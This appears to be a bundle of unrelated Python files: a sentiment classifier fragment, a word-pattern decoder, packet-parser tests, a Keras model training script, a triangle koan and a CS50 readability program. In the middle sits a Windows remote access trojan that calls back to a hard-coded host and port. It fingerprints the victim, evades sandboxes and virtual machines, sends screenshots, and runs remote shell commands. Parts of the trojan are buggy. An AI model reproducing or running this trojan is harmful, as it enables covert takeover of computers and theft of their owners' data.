                 {'positiva': {'$exists': False}},
                 {'negativa': {'$exists': False}},
                 {'neutro': {'$exists': False}}]})

        for noticia in list(noticias_individuo):
            if noticia.get('conteudo', ''):
                feat = find_features(noticia['conteudo'])
                senti = senti_classifier.classify(feat)
                database.items.noticias.update_one(
                    {'titulo': noticia['titulo']},
                    {'$set': {'sentiment': senti}})

        self.send({
            'total': noticias_individuo.count()
        })


def corrisponde(s,codice):
    corrispondenze = {}
    corrispondenze[codice[0]] = s[0]
    corr = True
    for i in range(1,len(s)):
        if codice[i] in corrispondenze.keys():
            if corrispondenze[codice[i]] != s[i]:
                corr = False
        else:
            if s[i] in corrispondenze.values():
                corr = False
            else:
                corrispondenze[codice[i]] = s[i]
    return corr
def decod(pfile, codice):
    insieme = set()
    fileTesto = open(pfile,'r',encoding='UTF-8')
    riga = fileTesto.readline()
    while riga!='':
        riga = riga.strip()
        if (len(riga)==len(codice)):
            corr = corrisponde(riga,codice)
            if corr:
                insieme.add(riga)
        riga = fileTesto.readline()
    fileTesto.close()
    return insieme


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pytest import raises

from aspen.sockets import FFFD
from aspen.sockets.packet import Packet
from aspen.sockets.message import Message

def test_packet_Packetable_with_unframed_bytes():
    expected = [Message.from_bytes(b'1:::')]
    actual = list(Packet(b'1:::'))
    assert actual == expected

def test_packet_Packetable_with_framed_bytes():
    expected = [Message.from_bytes(b'1:::')]
    actual = list(Packet(FFFD + b'4' + FFFD + b'1:::'))
    assert actual == expected

def test_packet_Packetable_with_multiple_frames():
    expected = [Message.from_bytes(x) for x in (b'0:::', b'1:::')]
    actual = list(Packet(FFFD+b'4'+FFFD+b'0:::'+FFFD+b'4'+FFFD+b'1:::'))
    assert actual == expected

def test_packet_with_odd_frames_raises_SyntaxError():
    Packet_ = lambda s: list(Packet(s)) # raises chokes on generator
    raises(SyntaxError, Packet_, FFFD+b'4'+FFFD+b'0:::'+FFFD)

def test_packet_with_odd_frames_tells_you_that():
    Packet_ = lambda s: list(Packet(s)) # raises chokes on generator
    packet = FFFD+b'4'+FFFD+b'0:::'+FFFD
    exc = raises(SyntaxError, Packet_, packet).value
    expected = b"There are an odd number of frames in this packet: %s" % packet
    actual = exc.args[0]
    assert actual == expected


# надо установить
import socket, os, sys, platform, time, ctypes,subprocess,threading,wmi
# Жертва
import win32api , winerror , win32event, win32crypt

from winreg import *

strHost ="192.168.1.150"

intPort = 4444

strPath = os.path.realpath(sys.argv[0])

TMP = os.environ['APPDATA']

intBuff =1024

mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")

if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
	mutex = None
	sys.exit(0)

def detectSandboxie():
	try:
		libHandle =ctypes.windll.LoadLibrary("SbieDll.dll")
		return " (Sandboxie) "
	except: return ""
def detectVM():
	objWMI = wmi.WMI()
	for objDiskDrive in objWMI.query("Select * from Win32_DiskDrive"):
		if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.Caption.lower():
			return " (virtual machine) "
	return " "
def server_connect():
	global objSocket
	while True:
		try:
			objSocket = socket.socket()
			objSocket.connect((strHost, intPort))
		except socket.error:
			time.sleep(5)
		else: break
	struserInfo = socket.gethostname() + "'," + platform.system() + " " + platform.release() + detectSandboxie() + detectVM() + "'," + os.environ["USERNAME"]
	send(str.encode(struserInfo))
decode_utf8 = lambda data: data.decode("utf-8")
recv = lambda Buffer: objSocket.recv(Buffer)
send = lambda data: objSocket.send(data)
server_connect()
def screenshot():
	pyscreeze.screenshot(TMP + "/s.png")
	send(str.encode("Receiving screenshot..." + "\n" + "File size:" + str(os.path.getsize(TMP + "/s.png"))
		+ "bytes" + "\n" + "Please wait..."))
	objPic = open(TMP + "/s.png", "rb")
	time.sleep(1)
	send(objPic.read())
	objPic.close()
def lock():
	ctypes.windll.user32.LockWorkStation()
def command_shell():
	strCurrentDir = str(os.getcwd())
	send(str.encode(strCurrentDir))
	while True:
		strData = decode_utf8(recv(intBuff))
		if strData == "goback":
			os.chdir(strCurrentDir)
			break
		elif strData[:2].lower()== "cd" or strData[:5].lower()=="chdir":
			objCommand = subprocess.Popen(strData + " & cd", stdout=subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
			if (objCommand.stderr.read()).decode("utf-8") == "":
				strOutput = (ObjCommand.stdout.read()).decode("utf-8").splitlines()[0]
				os.chdir(strOutput)
				bytData = str.encode("\n"+ str(os.getcwd()) + ">")
		elif len(strData) > 0:
			objCommand = subprocess.Popen(strData, stdout=subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE, shell = True)
			strOutput = (ObjCommand.stdout.read() + objCommand.stderr.read()).decode("utf-8", errors = "replace")
			bytData = str.encode("\n" + str(os.getcwd()) + ">")
		else:
			bytData = str.encode("Error")
		strBuffer = str(len(bytData))
		send(str.encode(strBuffer))
		time.sleep(0.1)
		send(bytData)

def MessageBox(message):
	objVBS = open(TMP + "/m.vbs", "w")
	objVBS.write("MsgBox " + message + " " + vbOkOnly + vbInformation + vbSystemModal, "Message")
	objVBS.close()
	subprocess.Popen(["cscript", TMP +"/m.vbs"], shell = True)

while True:
	try:
		while True:
			strData = recv(intBuff)
			strData = decode_utf8(strData)
			if strData == "exit":
				objSocket.close()
				sys.exit(0)
			elif strData[:3] == "msg":
				MessageBox(strData[:3])
			elif strData[:4] == "site":
				webbrowser.get().open(strData[4:])
			elif strData == "screen":
				screenshot()
			elif strData == "lock":
				lock()
			elif strData == "cmd":
				command_shell()
	except socket.error:
		objSocket.close()
		del objSocket
		server_connect()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Mar 25 16:47:58 2019

@author: Suraj Pawar
"""
#namelist = ['SEQ', 'EULER']
#plist = [1,2]
#for name in namelist:
#    for p in plist:

legs = 4 # No. of legs = 1,2,4
slopenet = 'EULER' # Choices: BDF2, BDF3, BDF4, SEQ, EULER, LEAPFROG, LEAPFROG-FILTER, RESNET
sigma = 0.00
problem = "ROM"

import os
if os.path.isfile('best_model.hd5'):
    os.remove('best_model.hd5')

import numpy as np
from numpy.random import seed
seed(1)
from tensorflow import set_random_seed
set_random_seed(2)
import matplotlib.pyplot as plt
import pandas as pd
from create_data_v2 import * #create_training_data_bdf2
from model_prediction_v2 import *
from export_data_v2 import *
import time as cputime
#--------------------------------------------------------------------------------------------------------------#
from keras.models import Sequential, Model
from keras.layers import Dense, Dropout, Input
import keras.backend as K
from keras.callbacks import ModelCheckpoint
from keras.models import load_model
from keras import optimizers
from keras import losses

#--------------------------------------------------------------------------------------------------------------#
def coeff_determination(y_true, y_pred):
    SS_res =  K.sum(K.square( y_true-y_pred ))
    SS_tot = K.sum(K.square( y_true - K.mean(y_true) ) )
    return ( 1 - SS_res/(SS_tot + K.epsilon()) )

#--------------------------------------------------------------------------------------------------------------#
def customloss(y_true, y_pred):
    return K.mean(K.square(y_pred - y_true), axis=-1)

#--------------------------------------------------------------------------------------------------------------#
dataset_train = pd.read_csv('./a.csv', sep=",",skiprows=0,header = None, nrows=1000)
m,n=dataset_train.shape
training_set = dataset_train.iloc[:,0:n].values
time = training_set[:,0]
dt = training_set[1,0] - training_set[0,0]
training_set = training_set[:,1:n]

start_train = cputime.time()

xtrain, ytrain = create_training_data(training_set, m, n, dt, legs, slopenet)

from sklearn.preprocessing import MinMaxScaler
sc_input = MinMaxScaler(feature_range=(-1,1))
sc_input = sc_input.fit(xtrain)
xtrain_scaled = sc_input.transform(xtrain)
xtrain_scaled.shape
xtrain = xtrain_scaled

from sklearn.preprocessing import MinMaxScaler
sc_output = MinMaxScaler(feature_range=(-1,1))
sc_output = sc_output.fit(ytrain)
ytrain_scaled = sc_output.transform(ytrain)
ytrain_scaled.shape
ytrain = ytrain_scaled

#indices = np.random.randint(0,xtrain.shape[0],500)
#xtrain = xtrain[indices]
#ytrain = ytrain[indices]

#--------------------------------------------------------------------------------------------------------------#
# create the LSTM model
model = Sequential()

# Layers start
input_layer = Input(shape=(legs*(n-1),))
#model.add(Dropout(0.2))

# Hidden layers
x = Dense(80, activation='tanh', use_bias=True)(input_layer)
x = Dense(80, activation='tanh', use_bias=True)(x)
x = Dense(80, activation='tanh', use_bias=True)(x)
x = Dense(80, activation='tanh', use_bias=True)(x)

#x = Dense(100, activation='tanh', use_bias=True)(x)

op_val = Dense(n-1, activation='linear', use_bias=True)(x)
custom_model = Model(inputs=input_layer, outputs=op_val)
filepath = "best_model.hd5"
checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True, mode='min')
callbacks_list = [checkpoint]

custom_model.compile(optimizer='adam', loss='mean_squared_error', metrics=[coeff_determination])
history_callback = custom_model.fit(xtrain, ytrain, epochs=900, batch_size=40, verbose=1, validation_split= 0.2,
                                    callbacks=callbacks_list)

#--------------------------------------------------------------------------------------------------------------#
# training and validation loss. Plot loss
loss_history = history_callback.history["loss"]
val_loss_history = history_callback.history["val_loss"]
# evaluate the model
scores = custom_model.evaluate(xtrain, ytrain)
print("\n%s: %.2f%%" % (custom_model.metrics_names[1], scores[1]*100))

epochs = range(1, len(loss_history) + 1)

end_train = cputime.time()
train_time = end_train-start_train

plt.figure()
plt.semilogy(epochs, loss_history, 'b', label='Training loss')
plt.semilogy(epochs, val_loss_history, 'r', label='Validation loss')
plt.title('Training and validation loss')
plt.legend()
plt.show()

#--------------------------------------------------------------------------------------------------------------#
#read data for testing
dataset_test = pd.read_csv('./at.csv', sep=",",header = None, skiprows=0)#, nrows=2000)
dataset_total = pd.concat((dataset_train,dataset_test),axis=0)
dataset_total.drop(dataset_total.columns[[0]], axis=1, inplace=True)
m,n=dataset_test.shape
testing_set = dataset_test.iloc[:,0:n].values
time = testing_set[:,0]
testing_set = testing_set[:,1:n]
m = m

#--------------------------------------------------------------------------------------------------------------#
# predict results recursively using the model
start_test = cputime.time()
ytest_ml = model_predict(testing_set, m, n, dt, legs, slopenet, sigma, sc_input, sc_output)

# sum of L2 norm of each series
l2norm_sum, l2norm_nd = calculate_l2norm(ytest_ml, testing_set, m, n, legs, slopenet, problem)

end_test = cputime.time()
test_time = end_test - start_test

list = [legs, slopenet, problem, train_time, test_time, train_time+test_time]
with open('time.csv', 'a') as f:
    f.write("\n")
    for item in list:
        f.write("%s\t" % item)

# export the solution in .csv file for further post processing
export_results_rom(ytest_ml, testing_set, time, m, n, slopenet, legs)

# plot ML prediction and true data
plot_results_rom(dt,slopenet, legs)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from runner.koan import *

# You need to write the triangle method in the file 'triangle.py'
def triangle(side1, side2, side3):
    if side1 == 0 or side2 == 0 or side3 == 0:
        raise TriangleError('Bad Triangle')
    if side1 + side2 < side3 or side2 + side3 < side1 or side1 + side3 < side2:
        raise TriangleError('Bad Triangle')
    if side1 == side2 == side3:
        return 'equilateral'
    elif side1 == side2 or side2 == side3 or side1 == side3:
        return 'isosceles'
    else:
        return 'scalene'

class TriangleError(Exception):
    print('This is a bad Triangle')

class AboutTriangleProject(Koan):
    def test_equilateral_triangles_have_equal_sides(self):
        self.assertEqual('equilateral', triangle(2, 2, 2))
        self.assertEqual('equilateral', triangle(10, 10, 10))

    def test_isosceles_triangles_have_exactly_two_sides_equal(self):
        self.assertEqual('isosceles', triangle(3, 4, 4))
        self.assertEqual('isosceles', triangle(4, 3, 4))
        self.assertEqual('isosceles', triangle(4, 4, 3))
        self.assertEqual('isosceles', triangle(10, 10, 2))

    def test_scalene_triangles_have_no_equal_sides(self):
        self.assertEqual('scalene', triangle(3, 4, 5))
        self.assertEqual('scalene', triangle(10, 11, 12))
        self.assertEqual('scalene', triangle(5, 4, 2))


from cs50 import get_string

def main():
    text = get_string("Text: ")

    words = count_words(text)
    L = count_letters(text) / words * 100
    S = count_sentences(text) / words * 100

    index = 0.0588 * L - 0.296 * S - 15.8
    grade = round(index)

    if grade < 1:
        print("Before Grade 1")
    elif grade > 16:
        print("Grade 16+")
    else:
        print(f"Grade {grade}")

def count_letters(text):
    letters = 0

    for char in text:
        isalpha = ('a' <= char and char <= 'z') or ('A' <= char and char <='Z')
        if(isalpha):
            letters += 1

    return letters

def count_words(text):
    words = 1

    for char in text:
        isspace = (char == ' ')
        if(isspace):
            words += 1

    return words

def count_sentences(text):
    sentences = 0

    for char in text:
        if char == '.' or char == '!' or char == '?':
            sentences += 1

    return sentences

main()